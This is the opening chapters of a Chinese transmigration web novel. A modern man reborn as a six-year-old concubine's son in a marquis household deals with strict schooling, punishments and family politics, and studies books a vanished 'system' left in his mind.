《侯府庶子的生活》
第一章 想的美与自己学
不想看的不勉强,退出就可以了,请不要扫两眼就给低评,写本书不容易啊!
设定:此文的设定是这个世界没有任何鬼神、或者超自然的存在,天道规则为了维护这个世界的正常运转,是不允许外来系统的存在。
大脑封存处……
封砚初再一次感受到周遭之时,最先听到一阵‘啪啪啪’地声音传来,紧接着屁股就感受到一阵疼痛。
朦胧中回头一看,裤子已经被扒了下来,丢人呐!
然后周围是一片嚎啕大哭的声音,强撑着看去,三个孩子与他一样,光着屁股挨打。
抬头看去,主位上坐着一个男人,满脸怒气,指着他们几个骂着,“简直混账!说!是谁教你们的?明知是你们祖父的寿宴,竟然敢在酒缸里撒尿!要不是被发现,那酒就要端上宴席了!”然后指向他的方向骂道:“看什么看,就你最犟!”
脑子还未来得及有所反应,眼前就是一片漆黑。随后耳边传来一阵匆匆忙忙的声音,“还不快住手!你是想打死我的孙儿吗?”
……
黑暗中,意识里传来一阵电子‘嘀嗒,嘀嗒’的声音。
正在扫描……
扫描失败……
重新扫描……
扫描成功,正在绑定……
封砚初意识到不对,心中大喊道:“你是什么鬼东西?系统吗?你把我带到哪来了?快带我回去!”可对方并没有反应。
意识里依旧显示着:绑定中……
他想到自己才还完的房贷,想到自己银行卡里的存款,想到自己的家人,想到自己的幸福生活,忍不住破口大骂:“你TMD,从哪把我带来的,就把我带回哪里!你这是绑架!竟然无视老子!你#&%¥~……*#¥”一通脏话输出,对方终于有了反应,迎来的却是电击。
宿主对系统不敬,电击惩罚!
“你这是强盗!”又是一顿电击。
他欲哭无泪,内心止不住的祈祷:老天爷,佛祖,观世音菩萨,三清祖师,耶稣,圣母玛利亚……反正是把能求的神求了个遍,求你们让我回到原来的世界吧!
或许是祈祷有了作用,但他就像是雍和宫祈福一样,只起到了一半作用。
系统紧接着显示:受到攻击……
解绑中……
解绑失败……
然后是一串乱码……
意识到什么的封砚初呼喊:“求您把我带回到原来的世界吧!”心中产生一股不妙之感,难道自己要被留在这里了?
就在那一串乱码即将消失的时候,立即喊道:“那你好歹给我留下些什么吧?什么武功灌顶,医术精湛,文学传承之类的!”
没想到还真的有用,意识里先是显示出三个大字:想的美!!!
然后浮现出一些书,什么《流云剑法》、《惊鸿枪》、《烟云步》、《排云掌》、《草本大全》、《金针术》、《医术精湛必学》
面对这么多要学的内容,封砚初十分痛苦,“这么多!好歹来个灌顶啊!”
自己学!!!
“那你是谁啊,回头我怎么谢你?”
直至意识恢复都没有任何应答。
……
封砚初再次醒来,意识回笼的时候,就看到一个妇人打扮的女人正坐在床前抹眼泪。
周围无论是头顶的床幔,还是室内的陈设都十分古色古香,直到看见桌上的烛台之时,即使内心再不想承认也可以确定自己的确是穿越了。
女人见他醒来,惊喜道:“二郎,你醒了?来人!快派人去通知老太太和大娘子,人醒了!”
此时封砚初脑海中才传来前身的记忆,眼前这个妇人是他的姨娘王锦娘,不过这也太滞后了吧!
巧了,他的名字也叫封砚初,今年六岁,家中排行第二。他家中是武安侯,如今的武安侯是他祖父——封靖良,祖母安氏,父亲封简宁是世子,嫡母唐晨。
父亲共有四子两女,长姐封砚敏今年八岁,乃是嫡母所出;长兄封砚开今年七岁,府中刘姨娘所生;三弟封砚池今年也是六岁,是张姨娘所生;四弟封砚安与二妹封砚婉一母同胞,今年五岁,是方姨娘所生。
除此之外,他还有个二叔封简言,婶娘温氏,堂兄封砚明,七岁;堂妹封砚潼,四岁。
而今的历史在李唐末年拐了一个弯,萧氏建立了大乾,随着大乾灭亡,沈氏建立了大晟,至今已有一百五十年,正是景和七年。
先祖封七藏跟着太宗沈羡之打天下,随着大晟的建立,太宗登基后感念封家先祖之功,这才封了武安侯。
(看评论中,有很多人不理解,以为只要在古代就是保守,所以在此特意解释一下)
在写这本书之前我特意查了很多不同朝代的资料,然后各朝代综合了一下,形成的一个架空朝代,其实在唐宋之时社会风气还是比较开放的,只是我们现代人以为很保守。
第二章 真好,你不用去上学
房间里呼啦啦来了好些人,为首的是祖母安氏和嫡母唐氏,身后跟着的是武安侯府的孙大夫。
嫡母明显松了一口气,“醒了就好,醒了就好,孙大夫给二郎瞧一瞧。”
孙大夫连忙上前把脉,然后摸了摸封砚初的额头,“回老夫人,大娘子,二郎君的烧退了,现在已无大碍,只是毕竟有伤在身,还需好好休养。”
祖母点头道:“这几个孩子都有伤在身,这几日需得好好照看,有什么缺的就给大娘子说,你先去开药。”等孙大夫退下后,这才对唐氏抱怨,“老大也真是的,下手没个轻重,孩子都还小,好好教一教就是了,你瞧这几个孩子受的罪。”
唐晨自然不能说自己夫君的不是,只能道:“幸好孩子们没事,这几日我会小心照看的。”
“你办事我很放心。”祖母摸了摸封砚初的头问道:“还难受吗?”
封砚初轻轻摇头,“祖母,别担心,我好多了。”
祖母心中不忍,回头对唐晨道:“你瞧瞧,多懂事的孩子啊,伤成这样还在担心我。”
唐晨嘴角含笑,“都是孝顺的好孩子,二郎,要是想吃什么就说。”
祖母见封砚初没有大碍,并不打算多待,“咱们就别多打扰了,让二郎好好养着。”
唐晨点头道:“是。”随后吩咐一旁的王锦娘,“一会儿记得让二郎喝药,这里若是有什么不妥立即来禀。”
王锦娘行礼道:“是,大娘子。”
就在封砚初养伤期间,长姐封砚敏是带着礼物亲自来的,然后就是被方姨娘带来的四弟封砚安和二妹封砚婉。而其余的人都是让下人带着东西走了一趟。
四弟来的时候一脸愧疚的站在一旁,一句话也没说。还是方姨娘将人拽到身前,一脸抱歉地对王锦娘说道:“我都没脸见你了,没想到世子爷这次下这么重的手。”
随后低头将四弟推到封砚初的床前,“还不向你二哥道歉。”
没错,这次除了四弟封砚安以外,其余的人都挨打了,而告密的人正是他。
封砚初心里年龄大,怎么可能和五岁的小孩子计较,更何况本来就是他们做的不对,“不用,不用,本来就是我们做错了,挨打也是应该的。”四弟明显松了一口气,又跑回方姨娘身边。
方姨娘也只得无奈道:“这孩子。”
王锦娘并不怪封砚安,只是心里觉得世子爷下手忒重,“本就是二郎的错,要不是四郎,只怕这些孩子闯了大祸。”
“你不怪罪就好。”
毕竟是小孩,封简宁打的并不重,不过两三日的时间就已经全好了,屁股一点事都没了。
只是第三日的时候,封砚初想要出去,被严厉制止了,其主要原因就是他曾经晕过去了。
眼见所有人都很重视,孙大夫在明明知道他已经好了的情况下,还是让他多休息一天。
这让长兄封砚开,三弟封砚池,堂兄封砚明三人羡慕坏了。
“你真好,可以躺着不用去上学。”这是封砚明的原话。
“我本来还想晚几天上学的,可是我姨娘不同意,还差点给母亲告状。”长兄封砚开羡慕的看着封砚初。
三弟封砚池十分关心他明日的事,“你明日上学吗?”
其实他早就好了,躺在床上无聊的紧,可是大家不仅不准他出去,更让乳母李妈妈形影不离的看着他。
“其实我觉得自己已经好了,但是大家都觉得我应该多歇一歇。”这句话不说不要紧,刚说完,当天晚上就遭到了报应。
当他无聊地在意识点了点其中的《流云剑法》,没想到之前点不动的书,这一次竟然可以点开!然后走马观花般的全部浏览了一遍,这就导致第二天差点没起来。
“二郎,醒醒,醒醒,你今日要上学的!”李妈妈摇了好一会儿,才将封砚初从睡梦中叫醒。
“妈妈?”封砚初揉了揉眼睛,此时他的意识还未清醒。
“快起吧!一会还要给老太太和大娘子请安呢,小心迟到受罚。”李妈妈一边给他穿衣服,一边说道。
等封砚初彻底清醒过来衣服已经穿好了。今日是他伤好以后第一次上学,所以必须禀明长辈后才能去,不过他不用在自己这儿吃早饭,而是去祖母那里一起用。
封砚初先是去了大娘子处,“儿子给母亲请安。”
唐晨仔细瞧了瞧他的脸色,红润有光泽,不过还是嘱咐道:“若是身体不适不可强撑。”
“母亲不用担心,儿子已经好了。”
随后又与大娘子以及长姐封砚敏一起去了祖母处。老侯爷与父亲封简宁上朝的上朝,去衙门的去衙门,而二叔挂了个闲职,所以也在。
二叔一见到封砚初便道:“哟,二郎,屁股好了可以上学了?”
封砚初低着头有些不好意思,前身实在太调皮了,往酒缸里撒尿这事,就是前身出的主意。
武安侯府的酒窖原本是有人守着的,酒平日里也是锁起来,只是老侯爷寿宴那日实在太忙,一个没注意,几个孩子就藏进酒窖里,而那一日寿宴上用的正好是琥珀酒。
长兄封砚开想尝试一下酒究竟是什么味道,让那些大人那么喜欢,兄弟五人都偷偷尝试了一点,幸亏古代的酒度数小,几人倒也没醉。
可这些琥珀酒是有数的,眼见酒少了一些,大家都不知该如何是好。前身便提议尿进去一些充数,结果四人都尿了,只有最小的四弟封砚安不敢,之后一个没忍住告了状,最后四人喜提一顿竹板炒肉。
二叔继续调侃,“竟然不好意思起来了?”
还是祖母打断,“好了,别说他了,他已经知道错了,是吧?”
封砚初赶紧点头。
吃完饭,他逃也似的离开了后面提书箱的小厮差点没跟上。
封家是有自己的学塾的,整个封氏一族的人都可以去读。只是老侯爷嫌学塾里人太多,难免有一些滥竽充数的,自家孩子年龄小,去了难免受影响,所以专门请了先生来家里。
等开了蒙,有些进益后,再去学塾里的进阶班,那里面才是有希望更进一步的学生。
第三章 上课打瞌睡
老侯爷特意在前院单独辟了个院子用作读书。封砚初刚到地方,堂兄和三弟已经来了。
三弟看到他特别开心,“二哥,你终于来上学了,今日先生要讲《蒙童须知》。”
“不是已经学过了吗?”
三弟沮丧着脸,“是父亲特意吩咐的,说咱们太调皮了,要好好规范自身,而且后日还要考教呢!”
“什么!考教!”封砚初忍不住看向一旁的堂兄。
三弟沉重地点点头,“你别看他,他即使背不出二叔也不会重罚的,更何况还有婶娘护持。不和你说了,我要去背书了。”
堂兄手持芙蓉饼一边吃,一边嘱咐小厮等休息的时候,将藕粉桂花糖糕拿进来。二叔与婶娘只有一子,所以对他格外宠溺,尤其婶娘,担心堂兄读书累着或饿着,每次都会准备足足的点心,将堂兄养的胖嘟嘟的。
前几日虽说四人都挨了打,但打的最轻的就是堂兄,就这婶娘几乎成日守在床前照料,片刻不离。
等到封砚初坐下以后,长兄和四弟才进来。只是长兄一直记着四弟告密的事,进门还朝对方冷哼一声,扭过脸不去瞧,只朝他们三个打招呼。而四弟全程低着头,打了招呼之后,就回到座位上。
最后进来的是长姐,本来她和封砚初打算一起来的,但毕竟是女孩子,打扮上花了些时间,这才来晚了。
长姐不仅是嫡出,还是大娘子唐晨唯一的女儿。唐晨嫁进武安侯府,前三年一直未能有孕,好容易怀孕,没想到生产之时异常艰难,导致以后也不能生育。可封简宁是武安侯府世子,将来必须要有儿子承袭爵位。
大娘子眼见无望,这才停了通房的药,抬了刘氏为姨娘,刘氏也争气,次年就生下了长子封砚开。既然她自己无法生育,儿子还是多多益善的好,陆陆续续地纳了王锦娘、张姨娘、方姨娘三人。所以长姐虽是女孩,却也是最得宠的那一个。
众人坐下后,杨旭升刚好也到了。此人虽家住京城,但如今已是不惑之年,多年读书仅中了秀才,家中寡母妻子已无力支撑其继续读下去,为了生计,由人举荐,这才来到武安侯府教孩子启蒙。
“先生好!”大家起身行过礼后才坐下来。
“打开《蒙童须知》,先跟着我读一遍,然后开始背诵,除了四郎君以外,其余人都已经学过了,只当是温故知新。”杨旭升说话之时,视线扫过在座的所有孩子。
读书背诵最是枯燥,更何况封砚初昨日睡得晚,这就导致他在课堂上止不住的打瞌睡。
“封砚初!”
一声怒吼惊醒了封砚初,他猛地抬头,只见杨先生站在他面前脸色铁青。
他赶紧站起来,“先生。”古代可不比现代社会,先生是可以责罚学生的,家长不仅不会找事,还会夸打的好,没准回去后也免不了教训。
“你昨晚干什么去了?学堂上竟然敢打盹!手伸出来!”
当封砚初犹豫地伸出右手时,杨先生又道:“伸左手,别想找借口逃掉今日的字。”
厚厚地戒尺打在他的手掌之上,太疼了!事关脸面,他也不是真正的小孩子,所以只是皱着眉,没有掉一颗眼泪,但落在杨旭升眼中却是倔犟,于是打的更重了。
“可知错了?”
封砚初低声道:“知错了。”
“你就站着背!”
“是,先生。”
对于小孩子来说,挨打还不哭,是一件很了不起的事,所以休息期间,所有人都围了过来。
堂兄还戳着他的手问道:“你疼不疼?”
“废话,你挨俩下试试。”封砚初滋溜一声,抽回左手。
“那你怎么不哭?”四弟问道。
长兄白了对方一眼,“你以为谁都跟你似的,不仅是个告状精,还是胆小鬼。二弟才不会哭呢,我也不会哭。”显然他已经忘记前几日被打的嗷嗷哭的情形了。
下了学,几人便要去老太太那里请安,谁知刚走到一半,就碰见了父亲封简宁身边的随从方恩。
“二郎君,世子让你去一趟前院书房。”
“看来父亲已经知道了,二弟去吧,我会给你准备伤药的,这次你就当长个教训,以后不可再犯。”封砚敏还是很有长姐风范的,离开时还悄悄朝他眨了眨眼,意思是万一父亲打他,她会搬救兵的。
“谢了。”封砚初扯了扯嘴角,对方恩叹气道:“走吧。”
外书房,杨旭升已经告过状了。
封简宁听后眉头就没展开过,他觉得老二实在太调皮了,不仅撺掇着兄弟几人往酒缸里撒尿,今日还在学堂上睡觉。
“父亲。”封砚初见父亲脸色难看,进门后十分规矩的行了一礼。
“知道我为什么叫你来吗?”
“上课睡觉。”
“原来你知道啊,说说吧,今日学了什么?”
“今日重温《蒙童须知》。”
“会背了吗?”
封砚初听了这话抬起头,“您不是说后日才检查吗?”话音刚落,眼见对方正欲发怒,他赶紧一字不落的背完。
封简宁没想到二儿子竟然非常流畅的背完了,这让他的火气涌在心口不上不下非常难受,“不要以为你会背了就了不得,就可以在学堂上睡觉!若有下次,仔细你的皮!”
他最终还是没罚,前几日因为二儿子晕了的事,母亲将他叫过去,好一顿臭骂,就连父亲也责怪自己没轻没重。
封砚初低头看着地砖一言不发,气的封简宁骂道:“滚滚滚,别在这里气我!”听了这话,他飞也似地出去了。
刚来到祖母之处,对方就拉着他上下仔细打量,“你父亲可打你了?”
“没有,父亲骂了孙儿一顿,就让我回来了。”封砚初并未将父亲的骂放在心上,骂就骂了,不疼不痒的。
“那就好,你父亲也真是的,你之前病着,肯定是没歇好,今晚早些睡。”然后看向大娘子唐晨道:“你回头吩咐,让乳母看着他睡觉。”
唐晨应道:“好,我回头就嘱咐李妈妈。”
第四章 洗洗睡
到了晚上,封砚初写完杨先生布置的字,并没有要睡的意思,反而研究起了华容道。(以‘曹操兵败华容道’为背景的滑块类游戏)
李妈妈端来一碗百合雪梨羹进来,“二郎,喝了这百合雪梨羹,就睡吧,省的明日学堂里打瞌睡。”
封砚初的左手已经上了药,并包上纱布,李妈妈正要亲自喂,他举了举左手,“妈妈,我伤的是左手,可以自己吃饭。”
李妈妈强求不过,放下碗叹道:“二郎,以后听话些,莫要淘气,你说说这才几日的时间,这都挨了两次打,你也要为你姨娘想着些,方才她在你面前好好的,可回去后就偷偷掉眼泪。”
李妈妈不停地絮叨让封砚初有些不耐烦,他三下五除二地喝完,将碗推回去,“妈妈,我喝完了,这就洗洗睡了。”
李妈妈接过碗朝外吩咐道:“碧芳,服侍郎君洗漱。”
没一会儿,碧芳就带着几个二等丫鬟,端着洗漱之物进来。人都是有惰性的,封砚初来到这个世界不过几日,就已经很享受别人的服侍,他只需动动嘴就可以了。
洗了脸,刷了牙,又泡完脚,李妈妈就已经将床铺好了。因为大娘子的吩咐,今晚是她守夜,所以已经在外间的榻上铺好了被褥。
躺在床上的封砚初很清醒,他以为自己没那么容易入睡,可低估了小孩子的睡眠速度和质量,当再次醒来已经是次日清晨,还是被李妈妈叫醒的。
学堂上,他虽表现的寻常,但杨旭升对此很满意,觉得昨日的戒尺以及告状起了作用。
今日依旧是温习《蒙童须知》,他已经背熟了,嘴上虽背着,但意识里却在看《草本大全》。他觉得既然回不去了,医术还是要认真学一学,毕竟古代医疗不发达,为了自己的生命能像溪流一般活的又细又长,学习态度要拿出来。
他对于科举并不抱希望,在现代高中三年学的要死要活,废的劲自己都快感动哭了,结果也就考了个排的上名次的大学。
当时的他就是全家人的骄傲,可现在是古代,全国的举人汇聚在京城参加会试,举人唉,那是每个州最拔尖的人才,就这都不一定能考中进士。
他当初连全省第一千名都没挤进去,现在要和这帮人竞争,那就是妄想!他此生毕竟生在武安侯府,这是多少人想都不敢想,将来分家出去后也少不了富贵,所以他决定躺在祖宗的荫封上,富足逍遥的过完这一辈子。
哎呀,想一想就觉得美!这躺赢的人生!
“二弟!二弟!先生叫你呢?”
封砚初听到长兄的声音,这才回过神来,为了自己的左手不再遭罪,他赶紧起身对杨先生行礼道:“抱歉,先生,学生背的太投入了,没听见您叫我。”
杨旭升并未生气,反而十分欣慰地点头,“这才是身为学子该有的态度,我听你背的十分流畅,想必已经背熟了。”随后拿出《小学》递给封砚初,“这本小学是接下来要学的内容,你先读一读,明日记得将自己的书带来。”
封砚初双手接过《小学》,内心十分复杂,嘴上却应道:“是,先生。”
其余人都看向他,说不出的羡慕。真好,不用背《蒙童须知》了,哦,除了四弟,因为年龄还小,目前还在学习《百家姓》。
下了学,封简宁叫来杨旭升,询问封砚初在学堂上是否打瞌睡。
“世子,二郎君今日十分认真,这孩子在读书上也有些天赋,只是毕竟年幼贪玩,需得时时督促。”
封简宁内心十分骄傲,“这孩子就是年龄还小,性子未定,淘气了些,若是学业上有所懈怠,还请杨先生重罚,或是来与我说,我来训诫。”
杨旭升很认真地应了,“还请世子放心,在下必定时时督促。”接下来的日子,让他十分没想到的是,督促紧时,封砚初便能提前完成,一旦他稍微松懈,对方就随大流,不上不下的。
封简宁话音一转,“不过对其他几个孩子也不能放松。”
杨旭升心里很清楚,世子虽然说的是其他孩子,但实际指的是长子封砚开,这孩子虽不是嫡出,可毕竟居长,将来是要承袭爵位的,世子必定重视。
“大郎君年长一岁,在学业上十分稳重,课业也完成的很好。”
果然封简宁点了点头,“还要劳烦杨先生多加监督。”
这些孩子们下了学,三弟封砚池因一连两日枯燥的背诵觉得十分无趣,便想叫上兄弟几个去后花园玩。
封砚开直接拒绝了,“还是不了,我要回去温书了。”
三弟不解道:“大哥,你不是已经背过了吗?还温什么书?先生没让温书。”
封砚开看了看封砚初,觉得十分紧迫,二弟明明比他还小一岁,可先生已经让对方开始读《小学》了,“那你背过了吗?”
三弟其实已经背过了,要不是因为父亲要检查,才不会这么积极,毕竟他实在不喜读书,“差不多了。”
这次背书没四弟封砚安什么事,他期盼的看着对方,“三哥,三哥,我和你去!”
封砚明有心想去,但是想到母亲今日让厨房做了,他最爱吃的胭脂鹅脯和三鲜笋炸鹌鹑,就没心思去玩。
三弟先问封砚初,“二哥,咱们一起去玩呗?”
封砚初才不想和小孩子玩,有这会子功夫,还不如回去看一看意识里留下来的书,“我不想去。”
三弟这才看向四弟,略微纠结了一番,点头道:“好吧,那咱俩一起去。”
封砚初的本意是有这时间还不如干点别的事,可落在封砚开耳中却成了,二弟下学回去后还这么用功,看来他也得努力了!
三弟四弟玩的都是男孩子的游戏,封砚敏并不喜欢。而母亲虽然宠爱她,但回去后还要学习茶道、香道、插花,以后还要增加厨事、刺绣,跟着母亲学习管家,并不比男孩子轻松。
第五章 不跑难道等着挨打
自从上学以来,封砚初就没了盼头。在现代,好歹有个周末,法定假日,寒暑假的盼头;可自从来到这里,这些都不存在了。
武安侯府对孩子读书的事很重视,这就导致,只有遇到中秋、过年,元宵,或者家中老侯爷或老太太的寿辰时才会休息,其余时间想都别想!
渐渐地,人就有些懈怠,父亲封简宁还以为他遇上什么事了。
这日,碰上杨旭升的儿子娶妻,他们这些孩子们好不容易放一日的假。封砚初已经将时间安排的满满当当,大娘子身边的大丫鬟半夏却来了,说大娘子让他过去。
王锦娘被唬的不行,问道:“可是你近日惹事了?”
封砚初摇头,“我这些日子乖得很,不曾淘气。”
到了之后,只见大娘子唐晨与封简宁一起坐在正堂上,看俩人十分正经的样子,他不禁也有些紧张,连忙回忆近日的表现,并未发现不妥。便规规矩矩地行礼,“儿子给父亲,母亲请安。”
大娘子笑得一脸慈爱,“二郎,到母亲这里来。”然后拉着他看了看,“嗯,平时每日都见还不觉得,今天仔细一瞧竟瘦了,可是遇上什么不高兴的事,或者和兄弟们生气了?”
其实在大娘子心里女儿第一重要,然后才是大郎封砚开,毕竟将来要承袭爵位,至于其余的庶子,也只是尽到嫡母的责任也就罢了。
但自从前些日子,世子让她多多关注一下二郎时,她这才知道这孩子有些天赋。不仅是为了武安侯府,还是为了自己都是要多加关注的,这才转变了态度。
封砚初先是疑惑,然后才道:“回母亲,许是儿子长高了些,这才看起来瘦了。”
大娘子点头道:“嗯,确实高了些。”
封简宁有些不耐烦道:“若非有事,你近日来怎么在学业上懈怠了?”见对方不说话,又说,“你有什么要求就提,只要合理为父会应允的。”
此话一出,封砚初的眼睛顿时发亮,“当真?”
果然有事!封简宁点头嗯了一声,“你说吧。”
封砚初将心里的想法一股脑说了,“父亲,儿子成日里读书,都没时间休息,学业固然重要,但也要劳逸结合。”
他也没敢太过分,“比如每十天休息两日,如此也叫儿子心中有个盼头,否则如何提得起兴趣……”
话音未尽,封简宁的脸色越来越黑,他的声音越来越小,直至消失。
果然迎来了狂风暴雨,“还以为你改好了,我就奇怪这些时日怎么如此安分,原来在这等着我!不想着好好读书,整日里钻研这些歪门邪道,就想着玩!”
封砚初一个没忍住,“朝廷官员每旬还要休沐呢!”
“你还敢顶嘴!”封简宁猛地一拍桌子,指着他骂道。
大娘子见状赶紧打圆场,“夫君勿要动怒,孩子还小,慢慢教就是了,更何况这个年纪本就是贪玩的时候,昨儿我去工部侍郎刘家,他家孩子比二郎大一岁,还不如咱家孩子,如今千字文都没学完呢。”
“你怎么不和好的比?封家祖上本是武将,如今朝中战事不多,为了门庭只能科考!”封简宁被气的不轻,觉得这个儿子生下来就是折磨他的,他在这个儿子身上用的心思比其余三子加起来都多。
“难道你也想和封家一些旁支那样?若非有族中帮衬,只怕吃饭都成问题!”
封砚初小声嘀咕着,“还能饿死我不成?将来分家,想必也不会太差……”这是他前世带来的坏习惯,他爸妈每次批评教训一句,他有十句等着,虽说现在已经收敛了很多,但也是罕见的。
封简宁耳力很好,正好听见,“混账东西!你祖父和我还没死呢!”说完抓起旁边掸灰的羽毛掸,朝封砚初打来。
封砚初又不是古代那些受过父慈子孝训导的孩子,眼见父亲要打他,直接窜出房间。
封简宁和大娘子何曾见过这样的孩子,其他孩子挨训之时,那都是乖乖伸出手,或者趴着等罚。
“你给我站住!别跑!”封简宁追了出去,用羽毛掸指着封砚初骂,大娘子一面上前劝,一面让人去请老太太。
封砚初摇头道:“我不!你当我傻,不跑难道等着挨打不成!”
“你们给我拦着他!”封简宁命令一旁的下人。
可下人怎么敢,万一拦住后,世子爷手上没个轻重打坏了二郎君,到时候先不说大娘子与世子会不会怪罪,老太太肯定会罚他们的。
就这样俩人在院子里绕了足足有半盏茶的时间,封简宁愣是没追上。
“你这是做什么?”婶娘扶着老太太进来了,后面还跟着来看热闹的二叔。
“母亲!”大娘子松了一口气。
封简宁指着次子说道:“原以为他这些日子有长进,没想到竟想些歪门邪道!”然后一股脑将过程讲了一遍。
老太太也没想到这孩子不仅有这样的想法,还提出来了,“你的年纪也不小了,就是想教训儿子,也没有这样的。”然后拉着封砚初,“好孩子,你父亲打疼了没?”
封简宁气道:“我连他的衣角都没挨上!”
老太太没想到会如此,有些尴尬道:“这孩子体弱,我也是担心你手上没个轻重。”
这就是一朝被蛇咬,十年怕井绳。因为有个前车之鉴,老太太很不放心世子,并且从内心深处觉得封砚初体弱。
大娘子顺势说道:“二郎,你先回去吧。”
封砚初见状赶紧溜了,其余人则进了正堂。
二叔封简言这才调侃,“这小子也是够皮的。”
老太太瞪了一眼次子,然后才看向长子,担心对方后头找机会收拾孙子,便劝道:“聪明孩子本就难管教,一味的打骂是管不下的!”
封简宁不服气道:“我就不信了,自古棍棒底下出孝子,不打不成器!”
老太太摇头道:“他与旁的孩子不同,你父亲寿宴后,你亲自监督打了一顿,都昏过去了,他连声都没吭一下;还有上次他在学堂里打瞌睡,被先生打手板!换作别的孩子早就哭了,你可曾见他掉过一滴眼泪?”
说起这个封简宁就气的不行,这孩子性子太倔,挨打之时就这么皱眉看着你,一脸不服的样子,“这孩子不仅淘气,脾气也犟!”
“好好和他说一说,这方面你不行的话,就让大娘子来。”老太太建议着。
封简宁点头道:“儿子试试吧。”
“也不能把孩子逼得太紧,我知道你父亲和你担心侯府的将来,但饭得一口一口吃,急不来,就像那孩子说的,朝廷里当官的每旬还有一日休沐呢。”
“既然母亲都这么说了,就便宜那小子了。”
“我也乏了,回去歇着了。”老太太起身由丫鬟扶着离开了。
第六章 每旬一休正式执行
这件事不到一天的时间就传遍了整个侯府,所有人都知道世子手持羽毛掸在院子里撵二郎君。紧接着先是亲戚们知道,然后京城差不多的人家都知道武安侯府有个调皮的郎君。
甚至封简宁去衙门碰到相熟的同僚,对方都会和他说两句。
“封大人,男孩子嘛,难免淘气,你好好训斥几句也就罢了,不至于动手。”
“封大人,男孩子还是要打的,不打不成器。”
这些话又让封简宁生出再将次子拉出来打一顿的念头,但他只能打着哈哈。
而封砚初回去之后又看见姨娘在那里抹眼泪,顿时觉得头大,
王锦娘看着跑的满头是汗的儿子,又心疼,又生气,先吩咐她身边的丫鬟,“珠儿,快给二郎洗脸擦汗。”然后转头对封砚初道:“你如此淘气,世子爷最多打两下,你是他的亲儿子还能打坏不成?若是世子爷和大娘子生气可怎么好?”
“姨娘说的什么话?那挨打受疼的可是我。”封砚初并未将话听进去,反而劝道:“你别哭了,在哭下去眼睛怎么受得了?有这时间还不如去找刘姨娘、张姨娘她们串串门,打打叶子牌。”
看王锦娘带着丫鬟回去后,他这才准备出去。虽然继承了原主的记忆,可毕竟只是记忆,自从穿来,还不曾仔细看看侯府的风景,他本来打算上午逛一会,吃完午饭睡醒后再去看一看意识里的书。
其实他已经打算好将里面的书全部抄下来,只是现在他的字太烂,只能等练好一些再誊抄,不过在此之前还要学习绘画,将里面的图案描摹下来,只是不知道杨先生是否擅长绘画,否则还要拜托父亲找先生。
刚出门迎面就碰上了长姐、长兄、三弟、以及四弟、二妹几人。
方才封砚初在大娘子院子里被父亲撵着跑的情形,封砚敏看的一清二楚,只是当时场面太混乱,父亲正在气头上,所以没敢出来。
长兄为了给父亲留个好印象,就没去,刘姨娘也是这个意思。三弟倒是想去瞧一瞧,但是被张姨娘拍了一巴掌,也就老实了。四弟知道的时候就已经晚了。
“你们怎么来了?”
三弟最先开口,“二哥,听说你被父亲撵的满院子跑?”
长姐点头道:“现在估计整个府里的人都知道了。”
四弟则是一脸钦佩,他没想到二哥竟然还有这样的胆量,“二哥,你胆子真大。”
封砚开则问道:“你这是要去哪?”
“没事出去逛一逛。”封砚初见几人好奇的目光,有些无语。
而堂兄封砚明拿着陀螺兴奋地跑来了,嘴里还喊着,“二郎,二郎,听说你又挨打了?不疼的话咱们一起抽陀螺玩!”
后面还跟着伺候的大丫鬟饴糖,“郎君别跑了,仔细摔着!”这丫鬟本不叫这个名字,因为堂兄爱吃,便给起了这个名字。
“我正要去池边喂鱼呢。”封砚初不想和这个小胖子一起玩。
封砚明将陀螺往前送了送,反驳道:“喂鱼多没意思啊,咱们抽陀螺吧!再说我母亲不让我去水池边上玩,你也别去了,没得大伯又打你。”
封砚初心说,我并没有邀请你好吧!但嘴上却说:“抽陀螺没意思,不如玩华容道?”他故意提出一个益智类,封砚明不喜欢的游戏。
三弟封砚池也不喜欢华容道,正要拒绝,封砚开提出一个他感兴趣的游戏,“不如玩升官图吧?”
封砚敏和封砚婉是女孩子,俩人并不喜欢这些,“要我说还不如去喂鱼呢,身边有丫鬟和下人们跟着,能出什么事?二郎,咱们去喂鱼!二妹也去?”
封砚婉不过五岁,正是姐姐干什么,她就跟着干什么的年纪,自然愿意。
于是原本属于封砚初一个人的游园,变成了一群人去喂鱼。几人先是喂了一会鱼。封砚敏带着妹妹便去扑蝴蝶;封砚初与长兄则是在亭子里玩升官图;封砚明带着三弟封砚池与四弟封砚安,在一旁的空地上抽陀螺。
午休起来之后,封砚初明面上是在看《小学》,实则是在意识里继续读《草本大全》,李妈妈见他竟然主动看书,十分高兴,甚至还给王锦娘分享了这个好消息。
就连大娘子唐晨听了都觉得,二郎这孩子虽然淘气,但还是知道学习的,紧接着就告诉了从衙门里回来的封简宁。
封简宁与有荣焉,便吩咐杨旭升每十日,便给孩子们放一日的假。
次日上学的时候,孩子们得知这个消息后高兴坏了。
“二哥,你就是咱们的功臣!”三弟不爱学习,所以他听到这个消息是最兴奋的。
长兄封砚开虽然不甘落后,可毕竟年岁不大,有时也想着放松放松,不过他很在意自己长兄的派头,“虽说父亲同意了,但是你们在读书上也不能懈怠,尤其是你,三郎!”
封砚池现在正开心着呢,听见后不过是胡乱点头应了应,“知道了,大哥。”
“我也知道了。”四弟封砚安也回答道。
封砚开对四弟虽然不像之前那样冷眼,但到底没怼回去,算是默认和解。
杨旭升已经听说了昨日的事,他看着封砚初心中暗暗下了个决心,以后对他要更加严厉才行。然后转头看向封砚开,心中很欣慰,没想到听到这个好消息之后,这孩子表现的依旧如此稳重。
封砚初起初有些不敢相信自己的耳朵,看昨日父亲那架势,没成想竟然会同意,意外之喜啊!
封砚敏看过去说出实情,“我听母亲说,父亲本来不同意,还是祖母劝的。”
“哎呀,谢谢祖母!虽然有点少,但终于让我有了假期!”封砚初开心不已。
封砚敏有些不可置信,“就这你还不满足?”
封砚初摆摆手不在意道:“哎呀,满意满意,已经很好了,回头我就去感谢祖母。”
不过这个假期也确实有用,这让他除了学习以外,就是每日扳着指头,期盼放假那天的到来。
第七章 我要学绘画
接下来的这段时间,封砚初难得表现的不错,不过封简宁还是时不时会关注,就是担心次子憋个大的。
封砚初平日遇到方恩理都不带理的,这日正好碰见,竟然难得的打了声招呼。
这让方恩心里有些忐忑,怀疑二郎君这是又要出什么幺蛾子?
“二郎君有事?”
封砚初见方恩严肃紧张的神色有些尴尬,难不成自己是什么洪水猛兽,竟让对方如临大敌。
“方恩,父亲在吗?我找父亲有事。”
“世子去了老侯爷的书房谈事,二郎君若有事,不妨等一会儿。”
